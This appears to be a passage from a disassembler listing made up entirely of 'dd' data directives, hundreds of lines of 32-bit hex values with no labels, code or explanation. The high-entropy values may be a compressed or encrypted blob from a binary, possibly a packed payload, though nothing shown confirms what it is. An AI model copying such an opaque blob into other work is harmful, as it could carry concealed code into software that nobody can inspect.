		dd 131E241Bh, 298E5370h, 0FC6DE6CBh, 709790D6h,	3CD260Ah
		dd 65CA0091h, 0E7D10B41h, 0CFF7C172h, 0E1F01CDEh, 465F121Dh
		dd 1012F79Eh, 661E5216h, 0B64502ACh, 0A2E77782h, 99C7819Eh
		dd 5003C93h, 2050ECBh, 68525122h, 5FAB9781h, 0CD62ED21h
		dd 9F55E91Ah, 9B2A9D4Ch, 0CE01C4F5h, 6DBE4F70h,	0B3F4DE31h
		dd 0AB1DB2F7h, 2D0CC97Ah, 6204159h, 18C28246h, 8B1CBA89h
		dd 0E20C836Ah, 1C770940h, 510EC98Bh, 22B1DA88h,	0D104ED16h
		dd 6289B714h, 5A300E40h, 0DFF7265Eh, 11346184h,	495FF901h
		dd 5C3F9222h, 18A98677h, 0FB8F59FBh, 0B342A472h, 1B10B54Ch
		dd 0D243C432h, 63E3171Eh, 0C268306h, 29888887h,	5431192Bh
		dd 0F1007533h, 30483561h, 1E07E82Ah, 0F501F6D9h, 0BC43AAD5h
		dd 0C3028F64h, 4C69430Fh, 168E6809h, 80500E99h,	6A03904Ah
		dd 148B839h, 3136A802h,	28D6E9F0h, 105F3B75h, 500F633h
		dd 347C5D95h, 2D51D001h, 643ED407h, 843BAB2Ch, 121A4A08h
		dd 12350629h, 0E3907509h, 12DDF73Dh, 0C3432584h, 37233D68h
		dd 92AD540Ch, 616C5DB5h, 7C50FBA6h, 5D495FB7h, 44BB94EFh
		dd 0E91ACD12h, 0E0836AFFh, 26055A2Fh, 0CF83AA3h, 0BD1C1BE5h
		dd 6766D4EFh, 51612DB0h, 0E785E90Dh, 115BEC93h,	0EB3F2C12h
		dd 0F25C6C37h, 40C0D5F7h, 7B26848Ah, 94104691h,	805F9679h
		dd 0CAB05002h, 581EC130h, 50BBF180h, 5EFA489h, 2861F399h
		dd 88020608h, 0FC58C7E9h, 4C718150h, 0DEC5308h,	224BA31h
		dd 7E8FE681h, 0BC40570Ah, 2E263273h, 0E628522Ah, 1BBD7B26h
		dd 82515500h, 0B0F70144h, 0D7088992h, 82477D21h, 2C9B3E41h
		dd 34A0CFE9h, 61681508h, 4ACA40h, 0B3751F12h, 76B8297Dh
		dd 749EFD60h, 1C13A42Bh, 0B1E581h, 6850635Bh, 0CDC408F1h
		dd 0EA14F7A6h, 34E0E3B7h, 0D0B00B1Ah, 0EC004226h, 9B297D86h
		dd 64448943h, 11C7744h,	0F0D95BDEh, 6800231Ah, 38B92214h
		dd 30FEBEA8h, 815940h, 882262CBh, 56DBF73Fh, 5249EDB0h
		dd 0F0229C40h, 0A98B7AFEh, 0C6DE1F3Fh, 0D20BA330h, 0B18B505Dh
		dd 33C03490h, 0CD5819E7h, 18E40175h, 0C6011DA1h, 3838F8F5h
		dd 91188B47h, 0C00916E8h, 934992EEh, 8FEE2947h,	0FB8AE961h
		dd 5BC74581h, 0EC1E3C59h, 0F3BE54CBh, 2D0C45A0h, 7E964E97h
		dd 0E95115D8h, 0B21C8940h, 8D313D1h, 0DF35FFE7h, 1899F995h
		dd 5320E424h, 8D45D7F7h, 4C84E554h, 3845E6A1h, 0F81A535h
		dd 0B5886D83h, 290ACFB9h, 6A21AFF8h, 0E9E80181h, 0F5226B7Bh
		dd 17389605h, 8A9C336h,	91702DF2h, 25764C0h, 1F290EAFh
		dd 6665AD3h, 6388E930h,	1EF68100h, 89FE8C7Ch, 325E7EF3h
		dd 0BB1CD924h, 120AF52h, 295B305Ch, 3EE950C6h, 0AD26FA60h
		dd 0CE207F83h, 0C89209B8h, 0E7935D45h, 20CD15A6h, 0E4293934h
		dd 0D4BE0146h, 1B9CFD6h, 0D5B030FEh, 2CF92F4Dh,	94A5284Ch
		dd 0C655583Bh, 0BD1BC503h, 0E2F05A01h, 5E056772h, 0D2F74253h
		dd 0A8E0B80Ch, 65F4A4BFh, 88566229h, 0A8A5E55h,	436954EFh
		dd 4AD1D13Fh, 0D2F1899Dh, 0D356C4C8h, 2658D31Fh, 50792CD1h
		dd 804D4AAAh, 0B9344A45h, 712A0780h, 1322595h, 99E92E81h
		dd 592A830Fh, 9181EA29h, 71E97ED3h, 0CB6E2CF8h,	0F4B85A1Ch
		dd 9AC45BDAh, 0F48D6309h, 6B329531h, 45E1F616h,	8A53CCB9h
		dd 90E912ADh, 0A9140E84h, 0DD72C6DDh, 530B9416h, 36BF5758h
		dd 8D1639CEh, 997BA8EFh, 47058014h, 2939CF7Ch, 72DE828h
		dd 0AE45D59h, 0AB0B70E9h, 9D9F02A5h, 24245927h,	28E21120h
		dd 2969B751h, 0E16E2989h, 0BE243136h, 0BE2DC67Ch, 3B2CBA1Ah
		dd 80C0F57h, 0A10AFF90h, 69F0F91Fh, 0B618C36Ch,	80E9FE53h
		dd 4F033BEEh, 0D3DDF657h, 0F3D5A3C5h, 0E1EDF2CDh, 57621F3Bh
		dd 6EE3EA0Eh, 26CC428Ah
		dd 1B082053h, 273925E9h, 82736BB0h, 0E1074B7Dh,	791859B5h
		dd 1938F1C0h, 0AE70E317h, 425344Ah, 2A9D618h, 91E1D126h
		dd 0FD503D10h, 1B4C0B2Dh, 55810B5Dh, 8C774A18h,	0E173C3D6h
		dd 3DCD419Ah, 0F7E82A6Ch, 0F2F76631h, 5202867Bh, 130E2C40h
		dd 0C1013473h, 0F38104EBh, 2F95DCFh, 0B040F7DAh, 0AB01FDBh
		dd 0CA4AD90Ch, 9C22412h, 89F0B588h, 0D5314702h,	50042CCh
		dd 1C087020h, 99F138E9h, 0C68F0135h, 0E9210A63h, 0BAE8815Eh
		dd 4124426Ch, 27D48C80h, 0D9297F82h, 72085B58h,	521E2800h
		dd 0E4686C2Dh, 0E0C11C6Bh, 3FE84105h, 30298C66h, 149CA7Bh
		dd 0D34C76A4h, 16A8D76Eh, 19CA2826h, 22D22229h,	94062ADAh
		dd 3C496FA4h, 0D0881C59h, 0A73ACDAEh, 55A8A22Bh, 30D971EAh
		dd 42E06807h, 0B6B0A4B3h, 0E22E1EB5h, 0DC6E59E9h, 34E74A7Dh
		dd 0C332A2EBh, 111C4F09h, 3CCB9C2h, 6D022BF3h, 748ED97Fh
		dd 583CAF33h, 0BF9037ACh, 5D33A031h, 493B3250h,	0E8BE1D61h
		dd 345EFE0Fh, 5035BBBh,	58E52D48h, 2098B19h, 63071355h
		dd 8548EC6h, 22481149h,	499158B6h, 40241CA6h, 6F788FA8h
		dd 0CF4EB092h, 44F6E766h, 712EE902h, 624AEE7Fh,	126753Ch
		dd 0ED13E4D5h, 0C7685499h, 0E05EE9C4h, 0EB3280EDh, 5A02F0F0h
		dd 0B3530529h, 5ED4E9E7h, 8FE5D38Eh, 6D332082h,	9E0D0631h
		dd 217159C0h, 0E3E05AD4h, 897EB941h, 0E6895F54h, 0BE056CB6h
		dd 4741289Bh, 0EFCCEEB1h, 260F5DE9h, 0D8575F1Dh, 0EB689F39h
		dd 0CC763F4Ch, 4C948681h, 0EA5C6D66h, 8F220741h, 4B87F018h
		dd 9C90DD01h, 0CA3A860Fh, 66FDC664h, 0C2FE1C1Ch, 0C0848380h
		dd 37B704EAh, 5AD000E1h, 0BFF2712Ch, 74D8283Bh,	7B4D8F98h
		dd 0BB077F12h, 32313446h, 23C97B3h, 7017CBE5h, 3406D38h
		dd 0FA780155h, 1A091198h, 0C0FB61Ch, 5C882F5Bh,	0FC2511F7h
		dd 80589004h, 5CD6A8F5h, 12400249h, 0F1096335h,	0F9A2810Ch
		dd 1EC6D06h, 80582C2h, 0BCC5FF58h, 5A62C9B3h, 0BD000725h
		dd 3A21AA9h, 90C4B915h,	6C0B34C9h, 8EA67095h, 0AD10D357h
		dd 0E1A84008h, 0B13B4439h, 3D6A2A14h, 4CF778C4h, 0BE16C8D1h
		dd 0CA274661h, 22038C59h, 0E9170D3Fh, 0C09984B0h, 5CE0AD2Dh
		dd 58482968h, 9CE9C51Dh, 0C48813A1h, 0AD0114F9h, 205D7F2Dh
		dd 40519730h, 262768F0h, 0B9AB117Ch, 0EFC0852Ch, 13EA850h
		dd 2A0CA51h, 95B85908h,	380F6853h, 4942E92Bh, 0A407E51Ch
		dd 0A76186Dh, 72E20BFh,	0FB179157h, 2C54C204h, 0F2C38001h
		dd 0C1C1CE28h, 524BDBB1h, 675A9C09h, 7DE986DAh,	0C73C4139h
		dd 0E51C1901h, 9B5D59DEh, 5CF3B7F7h, 0EA450331h, 3CFB21D8h
		dd 65C2CAB0h, 6854C605h, 31D82757h, 8620FB4Ch, 6C39356h
		dd 5B4F14E9h, 4CC1C740h, 0F7C3B57Eh, 0A3631D7h,	0B40D0633h
		dd 8369001Fh, 0DF01887Bh, 0C630E9F2h, 0A4BA3A26h, 1EF20025h
		dd 6733B951h, 0F72C3E1Ch, 6093FD9h, 541F0141h, 0E761C348h
		dd 7940A5E8h, 12D8D73Bh, 820CC4A8h, 5E0053E4h, 2CACBF57h
		dd 1ABD61Bh, 3E5D9EC2h,	4AF210Ah, 0F5081483h, 5850DD50h
		dd 9D437F89h, 2438E824h, 7720BF8Bh, 0EEC14E0Eh,	0ED019307h
		dd 334813BAh, 187B8760h, 0C0CF208h, 4F005440h, 5EF029C3h
		dd 125A9E2Dh, 15F150Bh,	4C688770h, 5041230Ah, 8095C65Ah
		dd 5AF1303Ch, 28A51FB6h, 73BF0BCEh, 0C3F9E0E8h,	90DD8C34h
		dd 805CF749h, 0B60F4FD4h, 6050F8C0h, 0B5BB2E05h, 137A9D4Ch
		dd 14DF10E0h, 5C53E140h, 0B8312D61h, 29621F75h,	980728D8h
		dd 251640F6h, 2619B501h, 5D0F727h, 4DC0A61h, 63C54A01h
		dd 0B901256Dh, 3118E8C1h, 0EECD96C8h, 5171F5D5h, 0B4E8B2Ch
		dd 0BE92C561h, 0B07C4360h, 5FE08824h, 5B625D12h, 318B8633h
		dd 5C0DC906h, 0ED9DAE60h, 7BACC788h, 2A337BF8h,	50A76CF2h
		dd 7982FCE2h, 2C567D25h, 53255FC5h, 740EF1D9h, 44E22D69h
		dd 0A67EBA3Dh, 0BD8CAA1Ah, 4C552B01h, 14584881h, 0E0275B94h
		dd 0B3B27A02h, 28F603C0h, 7502E258h, 15E98DA8h,	46407569h
		dd 0DD29322Eh, 0B1A00340h, 0CF805866h, 0EF609773h, 3002F742h
		dd 5FE912F8h, 5585C812h, 0CEDAF7A3h, 31090D54h,	8494A9D0h
		dd 0C2B002A1h, 30CC24B5h, 65E41D0Eh, 53F0E264h,	5908F654h
		dd 487F6812h, 0BEE93F31h, 9F551194h, 0FDCFB94Ch, 4F1935C5h
		dd 1265246h, 45B134Bh, 7D78982Dh, 5FBA82B4h, 0B619E918h
		dd 0F793071Ah, 3E7A3CD3h, 1BA30900h, 0DCE95550h, 0D4688002h
		dd 727765Ah, 0F6A8CFD4h, 46140D00h, 0D148614Ah,	0DE2DE802h
		dd 0E271DAAEh, 130840B6h, 0CE95C037h, 3D3B79FFh, 7B5D18F6h
		dd 29D050AFh, 0EB01F8BEh, 513A74C8h, 0C684B5E7h, 7E8B0813h
		dd 12EA9A10h, 40BDAF6h,	401A055h, 74E8281Ch, 2726E42Ch
		dd 7300BCE9h, 20713DB9h, 5726E5Ch, 4C52176Ah, 415DA482h
		dd 0D53D6CE9h, 0C20B1A53h, 3C063358h, 63ED0631h, 4BB14C42h
		dd 0C683AA02h, 880C5E02h, 31180679h, 0BEF8190h,	0AA339AEh
		dd 0FB7E1586h, 0F45DEB32h, 4D5BE1BEh, 32452F9h,	68839721h
		dd 5E5AFE13h, 50377F64h, 78E6E9C2h, 2AC89089h, 2CDA1E36h
		dd 60D00E47h, 831BF66h,	0EF4CC1E8h, 7B47161Ch, 0B8836B28h
		dd 58788EA8h, 245B4B5Ch, 3982E580h, 287686FFh, 91577F97h
		dd 478D9691h, 1749BF59h, 0F829C0F9h, 0E9808B5Fh, 3E415CEDh
		dd 0F9901ADEh, 0F1F7F830h, 6CB86812h, 0B502888h, 0C691E99Ch
		dd 6AE82BAEh, 5BE75069h, 4D060B1Ch, 4231E268h, 12D6904h
		dd 52825DEAh, 68BCA1C2h, 762833F4h, 0F619FC1h, 18316C49h
		dd 0BD6AD84Ch, 0EB5D137Eh, 52471341h, 0C7261D4Ch, 0B4D1F674h
		dd 261BACABh, 2F424966h, 98DA4673h, 121A2F38h, 37EE4EA3h
		dd 0F90192E7h, 51438AD1h, 2FF04CF7h, 36023422h,	8952E46Bh
		dd 51225EDFh, 699D7831h, 0E5602B4Dh, 0E1564496h, 4F82867h
		dd 222ABFBBh, 7613EFB8h, 58AEA219h, 0BB9CB5B5h,	6858400Ch
		dd 5B828996h, 5C351405h, 2DD80A37h, 0ACF3E07h, 88953195h
		dd 32254C41h, 58588144h, 5761189Eh, 8E7CD5DDh, 3B708F37h
		dd 0BD666D26h, 5373B31Fh, 874BB212h, 0D8B900BDh, 48EDC14Bh
		dd 124AB602h, 4EC78AE4h, 0E478217h, 0EB045DF5h,	0EFC5C881h
		dd 50CBFE00h, 0B4E3B440h, 0E8E950DDh, 0BB158196h, 0F8EF0161h
		dd 12BCD34h, 841102Ah, 216FE916h, 0CD4BD3D3h, 0C1A4CFDBh
		dd 0E51F1081h, 2AD70DFh, 0E6E923BEh, 0D2FE4A61h, 87A008A9h
		dd 883121BDh, 0E8890509h, 233B025Dh, 4C047656h,	454158ECh
		dd 329C319h, 2306809h, 3565891Ah, 0E6658D6Dh, 64056D40h
		dd 4F6B00A9h, 1812F781h, 0CFEC2C58h, 80720E3Ah,	0E2BA525Ah
		dd 4C35775Ch, 0A14840C1h, 6BF45E24h, 15B82666h,	58124491h
		dd 0E90878A3h, 450B7666h, 3FE4C457h, 0B82FEF29h, 6D82F489h
		dd 37410CEh, 5C22E2h, 8B13B5B8h, 0A1353300h, 892FFA43h
		dd 2BBBBC2h, 0D726E942h, 0DE309A79h, 509E9D53h,	39148B56h
		dd 0CE0F241h, 6F8D6278h, 0E9FE0106h, 77CD54EFh,	24B533C2h
		dd 8E0C00Eh, 3958B050h,	0A8312EBDh, 0D48AE64Eh,	2159096Ah
		dd 96C01C57h, 56B65456h, 4FCDE905h, 0D34ACAB3h,	3827CADCh
		dd 970A44B8h, 848B2FABh, 24C3DD06h, 3B4F5E7Eh, 7789E81Fh
		dd 0B5C7911Ch, 0F1C629EEh, 5729EF42h, 265F11C7h, 8C40215Ch
		dd 1C64835Bh, 0AF53252Dh, 0F8E2F789h, 7CF2F82h,	0FA4E2CECh
		dd 1BF5D684h, 0A0097658h
		dd 0C1265198h, 7080C983h, 0A5012E2Ah, 8F726E28h, 0D33998D4h
		dd 0F5B78055h, 3B241D06h, 0E5108D30h, 4710FB48h, 0F5285179h
		dd 4F402E60h, 155F77C5h, 3AB5B0F0h, 4873057Ah, 0EC025448h
		dd 29AA6976h, 0C5014440h, 1CFE4AC6h, 8343A173h,	5924CCB9h
		dd 0A9C2442h, 3997F86h,	3E0D378Ch, 5FE8D2E4h, 81083BE1h
		dd 7CEF579h, 84811F2Eh,	5B977B50h, 0CD147131h, 537B31DAh
		dd 0C1D4C139h, 93670662h, 0D204E079h, 0A31427C4h, 5EC052Ch
		dd 0C1F3346Ah, 406636Fh, 923465F5h, 68F7FA57h, 3C5C56C2h
		dd 136854A7h, 267798C6h, 760C8EE5h, 18A05F01h, 40B43088h
		dd 1497219Dh, 1C61D35Fh, 129C6DAEh, 5F95EF42h, 0D14AA347h
		dd 785F6112h, 2312CB9Bh, 0BCDE30DAh, 0F552D485h, 12EF6DC1h
		dd 10FD3340h, 0A7094C9Dh, 0F20D6801h, 71FB0107h, 5F0802BEh
		dd 63A731F9h, 0F816F29Ch, 9CA69DD3h, 0D8E0CD5Ch, 4ABB6659h
		dd 0CBE2FD87h, 52F2563Fh, 9680621h, 0A53326h, 36D9BB53h
		dd 95294BB5h, 42BA412Ah, 110AF658h, 69F2EA09h, 0CBC405F0h
		dd 41B2135Ch, 3056F529h, 3181D638h, 416F4924h, 5FD0016Ah
		dd 23D90549h, 0B0D33428h, 0C627E95Dh, 20FC67Ch,	3FBE45E7h
		dd 5324401h, 0D7B2580Ch, 0AC2C6E2Ch, 8016270Ch,	0E8E76B25h
		dd 0AF566h, 0CE814885h,	68444377h, 0AEE9460Bh, 92424659h
		dd 827FB0ADh, 4C8E10B5h, 708182D5h, 0CBF1671Dh,	69035ED9h
		dd 4DB9103Fh, 242C8B17h, 0EE2E8256h, 8C68000h, 5AF02E28h
		dd 4E0C1312h, 20B2870Ah, 1EB8301h, 30CB8101h, 685C0B15h
		dd 5BD1B8h, 461C8063h, 3835E97Ch, 0D5E61860h, 36C1EA3Eh
		dd 0B66E8A55h, 21FA0582h, 689F606Ch, 27504A78h,	20DE82DAh
		dd 577F4FC9h, 5FF9D0F1h, 5B02EA05h, 0C8012125h,	0B078B2Dh
		dd 564638CFh, 697C24E9h, 0D2058201h, 95401320h,	7A12DF8h
		dd 4E70D85Fh, 0E9103A05h, 20D0F7A8h, 244240F5h,	31E4505h
		dd 501B0378h, 5F4DC0B7h, 894C7B10h, 90922A4Ch, 64237F81h
		dd 79BC29B0h, 0C68A0A83h, 72E5B0F1h, 41D23225h,	0B900C86Ah
		dd 1DCC4E59h, 0A4CB0131h, 69BA00CEh, 53E92302h,	47297F5Eh
		dd 66C37CD6h, 0FE00739Dh, 0B9B551C6h, 0B8F3C580h, 86274AE1h
		dd 2F3B067Ch, 20055828h, 1A04B5DCh, 0E2EDE851h,	2CAAE421h
		dd 6FF7C05Eh, 0D13A6704h, 9308E7B6h, 0CBB50706h, 0D1A2F8CFh
		dd 0FA290FB3h, 8CF2A7E9h, 3A1FA5ACh, 4B531E9Dh,	0F02D46C0h
		dd 620D2544h, 680EAB66h, 27AFA14h, 0DAD8015Bh, 96C9F873h
		dd 10B024EEh, 0C287AFCh, 2B490A66h, 12C63EECh, 0E5F34B42h
		dd 407FDB04h, 3A90A80Bh, 81187516h, 290D0FF3h, 2AE912D8h
		dd 415BB25Bh, 4A0CAC4Bh, 57592F8Ch, 3420764Fh, 74608B5Bh
		dd 981816D2h, 7341119Dh, 0F7132F68h, 0BE1901D9h, 9F39F43Ah
		dd 66760716h, 0FDB09FDAh, 289E7EB9h, 524C8983h,	0F1EEB00Eh
		dd 45693DF5h, 1088F726h, 2C5E3CD0h, 0F81AD5D7h,	4BAF5149h
		dd 0D4647C05h, 98A3ACFDh, 9E215E86h, 514440CBh,	81022069h
		dd 704E47E7h, 0C2FC8C2Ch, 20AB9CDFh, 146409FEh,	8503452h
		dd 9097371Eh, 2C105124h, 0C1279748h, 53AC7100h,	801F41B7h
		dd 0CA0993C7h, 895D9A7Ch, 58B66936h, 52A0E32Ch,	0F136857h
		dd 0A0042A35h, 665577AFh, 26CC5A2Dh, 6E8A544Bh,	68565300h
		dd 2E707CA9h, 0EEC15E02h, 0C1D6F705h, 0C439EF78h, 2F598FD9h
		dd 0EEE95561h, 4EA03235h, 255E7C0Ch, 0E4C46CCCh, 24B95118h
		dd 0E4F9011Fh, 1ABD31h,	3E7FA741h, 885C9172h, 0D00AD5C7h
		dd 0AD0D3905h, 64409EFDh, 7B4684C4h, 7D272531h,	78D21D9Ah
		dd 8BD3291Eh, 1EDCEA5h,	8A42B7EBh, 9BDD017Dh, 9A8F5BDFh
		dd 3AEEC0C5h, 0F8BA807Eh, 2C0107ECh, 4126CA81h,	572042CBh
		dd 0EC94A8CEh, 7B628A02h, 5A03CC7Eh, 0CA59EF88h, 12DB7CC3h
		dd 2A28015Bh, 0F033B02Eh, 0A9B5797Ah, 63691866h, 0BC2CB15Fh
		dd 0D1D76412h, 2FF70760h, 0E3575622h, 27BDE0AFh, 66E2097Fh
		dd 2C0A6E9h, 285CE104h,	6069C915h, 0F8E7BEADh, 314F1278h
		dd 0E90C2CF0h, 5848CE2Eh, 0DBBA5260h, 65973F08h, 95E68313h
		dd 0C3DCF4B8h, 0DBEF82A8h, 865F0D31h, 342F1D69h, 3D3AB4E3h
		dd 0B12EBE63h, 707EBA78h, 0F730507Fh, 0D06DB32h, 74BDA2F1h
		dd 25985285h, 0B3179497h, 2AFA9865h, 19A46E9h, 58DD9895h
		dd 5EF20089h, 74C9E281h, 0E92D5403h, 3CD78D18h,	0C5D50F22h
		dd 9BD98192h, 0B0242B74h, 4E7DE8C8h, 0A6AF8DCCh, 1E1771AFh
		dd 9654FCD6h, 0F32969BEh, 0D0B03F5Bh, 0B86A32D2h, 0D16335DFh
		dd 887558h, 30378A5Ch, 0A0FB0163h, 68120840h, 8260147Ah
		dd 906F77C6h, 13DA4CEBh, 4CD91D5Eh, 50B5BCF4h, 23D24E5h
		dd 35F358EEh, 0FC91F51Dh, 484BF168h, 63E94297h,	3059F35Fh
		dd 0E934513Bh, 169E641Eh, 1C8057C4h, 0B8637782h, 6FB12096h
		dd 123BBB07h, 39F64CF9h, 0DA31250Bh, 85325448h,	0D3016F1Ah
		dd 0E90802DAh, 0C1B54821h, 440848E2h, 2AF092Ah,	0D40CBE5h
		dd 38E14D72h, 82BB30B3h, 13C5295Ch, 28E4034Ah, 626F1FCFh
		dd 0CBC87A6Ah, 0A32D8716h, 685479FBh, 0CCAC5B8Ch, 0D36AB09Dh
		dd 824F995Ah, 0C8310AE8h, 56E06254h, 5122BEh, 0C68167BDh
		dd 79650B07h, 0A5350CCFh, 5F805797h, 4AB97E5Ah,	87588238h
		dd 8C2DB64h, 5B5F5457h,	20E9E19Eh, 0C7EE6903h, 5564ED83h
		dd 1B5D2BC8h, 29675FE9h, 0E33352B0h, 5F10CC1h, 1CD82CFh
		dd 0D8CC8C52h, 54521607h, 5E60085Ah, 0F3058B20h, 3B930124h
		dd 9150F3B5h, 5E1C5F09h, 69548A5Bh, 0FF9A4429h,	70AF296Bh
		dd 0FC40DBD4h, 0E4F2A8C0h, 0EFA79658h, 26BB9666h, 746EA095h
		dd 6987AE94h, 0C989BE89h, 31261507h, 0E0211645h, 8BBD8FE9h
		dd 0C8305B1Bh, 0E4932669h, 0C2B3D451h, 0E9456B51h, 9099B42Dh
		dd 0EBE32031h, 217C7F84h, 0F15D6BC9h, 0FC7C6263h, 9A1B2427h
		dd 6C4E5EA5h, 6179582h,	8D124879h, 3C4457C4h, 9CA21FC2h
		dd 28F23C8Fh, 832F6829h, 30D24651h, 0F33D5B42h,	703D6C2Bh
		dd 23EAAF49h, 5F205F90h, 104014D1h, 21782Ah, 6C69B850h
		dd 0B4BB7F0Dh, 2EB97100h, 6858C331h, 26274A03h,	0A98D44Ah
		dd 35078E58h, 73038B9Bh, 0FC871E11h, 8B1067F8h,	45582718h
		dd 62DEAC4Ch, 7F5C5EF7h, 0D5230C6Dh, 8042EA26h,	0A82F832Dh
		dd 96D3012Ch, 0BE012AE1h, 567A4245h, 0B609253Bh, 68C305AFh
		dd 62561915h, 921AEB0h,	4623AC1Eh, 9BC3000h, 0CC11F57h
		dd 16396628h, 0D404F900h, 0F60E157Ch, 6263996Dh, 74F18951h
		dd 315E0920h, 5BE9B5C0h, 3894899Fh, 0FC51552Ch,	3AD1584Eh
		dd 58688498h, 38E33C56h, 0CC6C409h, 7BD24A57h, 3C020B0Ch
		dd 0D1E9345Dh, 0A655F916h, 0B32AC5Ch, 6930D920h, 2293E368h
		dd 0E1A4E90Bh, 6F4C1DCh, 0CFE8E681h, 5EC52B84h,	0F3455769h
		dd 0D4881C46h, 1908E796h, 8D42A74Dh, 59668774h,	0EAE29A1Eh
		dd 2DB95A9Fh, 532DF423h, 0E22C5881h, 805E1392h,	49A66801h
		dd 0B02ED3A6h, 5184BCBh, 585BDD15h, 6C011859h, 297EAA5Fh
		dd 7A131CDh, 31BFF008h,	0E81792B6h, 841EF01h, 0E712E953h
		dd 4988647Ah, 0F6C68705h, 0A0508220h, 3D09F8F1h, 3990CB9h
		dd 785D1636h, 0F0E77F7Bh, 0EF690BBDh, 8711822Ah, 615C6163h
		dd 165FB1ACh, 0CB3E1E31h, 1248B915h, 5B81CE58h,	8DD25F38h
		dd 0E94D349Dh, 2FAA8455h, 5C4F9528h, 0CDD61B11h, 8B9C7277h
		dd 5A02A152h, 0C2C9D031h
		dd 0F6E90885h, 95FB9BDh, 0F88B840Fh, 0B87B157h,	0AB964754h
		dd 8DF7CD50h, 82452849h, 0EE3F2168h, 6BE92728h,	2B5B2262h
		dd 7731B0A5h, 0D8B68037h, 1AF43025h, 25DAF103h,	0C01039E5h
		dd 7F620FC9h, 5C58EB14h, 32C1002Dh, 0DBF71F96h,	335149E9h
		dd 354B0527h, 164EA4A8h, 0F8010217h, 2D724108h,	31B58D27h
		dd 0CD2FED80h, 67AE30F5h, 0C0313541h, 6C241CDDh, 3E114C1h
		dd 5A04D641h, 0AE222761h, 0C72E7846h, 0CA5C5AA2h, 65485AF8h
		dd 630B1FB6h, 24B7F708h, 83C71D6Ch, 106D072h, 13BBC4B4h
		dd 0F4C3E008h, 0B3425E9Eh, 0EF99E11Ah, 0F192863Ch, 34C5ED1Fh
		dd 970FBA18h, 0A908EBC9h, 458F51C2h, 7F06B8D1h,	27F11D5h
		dd 89BBBD55h, 0FCE16366h, 2A5F9B8h, 271688CBh, 0E654D962h
		dd 259F0820h, 0BD7DE1Fh, 0AE38656h, 56B6685Fh, 42529E7Fh
		dd 53EA5D45h, 6E8FA440h, 0FECB4695h, 970E5688h,	160BDA2Dh
		dd 805A1438h, 6637EF01h, 0DB08E950h, 16D9892Ch,	0CC1309Ch
		dd 529E7991h, 0DEFBF25Ah, 72A8588Ah, 99C7EDC1h,	76609C6Eh
		dd 72D1DF7h, 0FA01C9E8h, 0C1B304h, 5B6B8B05h, 3880BF11h
		dd 155CF46h, 1F95E3FFh,	0E0FB5608h, 0A100BB41h,	816DBA39h
		dd 2D0A5FEBh, 6D9136D1h, 49827829h, 138191D9h, 0A8A7167Dh
		dd 9341FA7Bh, 71312D8Ch, 0A64AC7FAh, 0BF83EF98h, 4BC6DDA0h
		dd 9179776h, 1801DEF7h,	0F45D0773h, 8090047Ah, 24E1B2DDh
		dd 52F2F952h, 0D5B6B5A9h, 4761E916h, 7F65858Ch,	0F7570213h
		dd 12D40D0h, 68A51582h,	0CFAA1857h, 2F55810Ah, 0FBA9816Dh
		dd 57142D24h, 54403D98h, 87D714F7h, 0A601A8FDh,	0D1420B1Fh
		dd 602731E3h, 0A47F54B9h, 5131652Ch, 0EEE5833Ch, 0F814AF42h
		dd 4C4082F5h, 0EF3115A7h, 2D02C782h, 124D4C04h,	3888B96Fh
		dd 0BC78F256h, 47121Fh,	0AF0A8D2Dh, 4D9821D7h, 4C5B24Eh
		dd 8058FF0Bh, 0DC3D6163h, 4B6C9069h, 0F13B909Dh, 0CC1216C0h
		dd 0BB804943h, 583FC4C1h, 0E42F2C26h, 0B7B48300h, 85F2DCF6h
		dd 0F8CA6C5Fh, 0F2795917h, 0FD7100C9h, 0F1E7812Ah, 8A1A5C6Eh
		dd 3727EF01h, 3A05EAAAh, 0A2441852h, 0BD030CA9h, 30FA646Ch
		dd 57680260h, 0C3F6230h, 255E96AFh, 0CE2CE9B2h,	581FF850h
		dd 294B1526h, 5165F7h, 0FB6D85BAh, 0D74E2949h, 558BD981h
		dd 8D3C1DC1h, 57E9C3A0h, 4A9AB551h, 0E8011332h,	0D0DA860Bh
		dd 615AA57Dh, 6202C3E9h, 0CDF37E0Dh, 83E342D0h,	0F4C95D0h
		dd 0D2E12E1h, 0F8582562h, 625F4F5Bh, 0B25BDF89h, 8E09BE23h
		dd 4075B247h, 8178F40Eh, 895EDC56h, 362EF37Ah, 0DC8B9F06h
		dd 52E39837h, 47B00250h, 0C2282BB2h, 2C6010C1h,	0F4815F09h
		dd 54024225h, 309CAD70h, 0BA53E3AFh, 0BA5200B4h, 9526412Fh
		dd 1C32FF29h, 1A0A5D1Ah, 57015EF4h, 0EC2CFF68h,	1A2A5F0Ch
		dd 6550FF3h, 63B033CCh,	64E90631h, 52518903h, 10CE8959h
		dd 7E8F59Eh, 4558C509h,	7665C693h, 0AA2C066h, 29DB59EBh
		dd 964BD57Eh, 0C9BD2DC5h, 252EC5C5h, 882656DFh,	5B404001h
		dd 78C4CB1h, 0CA1B68B1h, 0B6174346h, 562488D0h,	9E41AD16h
		dd 5966CB28h, 3F64B747h, 0B9F07B2h, 665A46FFh, 0D5E75590h
		dd 3410D7EBh, 0B800167Fh, 69C41BDBh, 0EC3F312Dh, 0C38996C9h
		dd 0E3F33100h, 0C10D3E10h, 0A0E7D10Ch, 41902856h, 90607EB5h
		dd 50624359h, 0B2E4DB4Eh, 0B3CE20B8h, 0C00E18E6h, 6F8006E3h
		dd 57DCA45Fh, 24D91196h, 629EC05Eh, 5D200168h, 37E9E821h
		dd 0D220B63Eh, 3C900687h, 0E93C827Ch, 0C9FD27B4h, 0E6ABA1Eh
		dd 0AB745707h, 0EF835F01h, 0C9F73101h, 0DF08A0FEh, 0E2416140h
		dd 0A2AAB849h, 0D7F9008Eh, 24213FFFh, 29759CFh,	0BD7FE6ECh
		dd 0C888D5FCh, 0DB680563h, 0C1F996Fh, 1F41AABFh, 544C9820h
		dd 884589E6h, 6C00C5B8h, 0DC254642h, 138A94Bh, 0CA2E9305h
		dd 2E2DE91Dh, 66F066D0h, 49FE2E68h, 35B24023h, 84B92E9h
		dd 0E2D181D0h, 9997B852h, 26608857h, 81DAF700h,	25A517F2h
		dd 6E40BCE7h, 6002DB2Dh, 0C8291668h, 59078105h,	0DF0D801h
		dd 62EB9648h, 0BB0031FBh, 5E204EE0h, 184C22Fh, 0C5C62B55h
		dd 6216A708h, 0BAD4D52Fh, 62165D20h, 5B5EBB07h,	0E3E744E7h
		dd 217A3DA0h, 0D46904Bh, 5B06AEFh, 900D2BACh, 8C2F7587h
		dd 9020E953h, 0D2F7174Bh, 54372792h, 555B00EDh,	0E5BC6850h
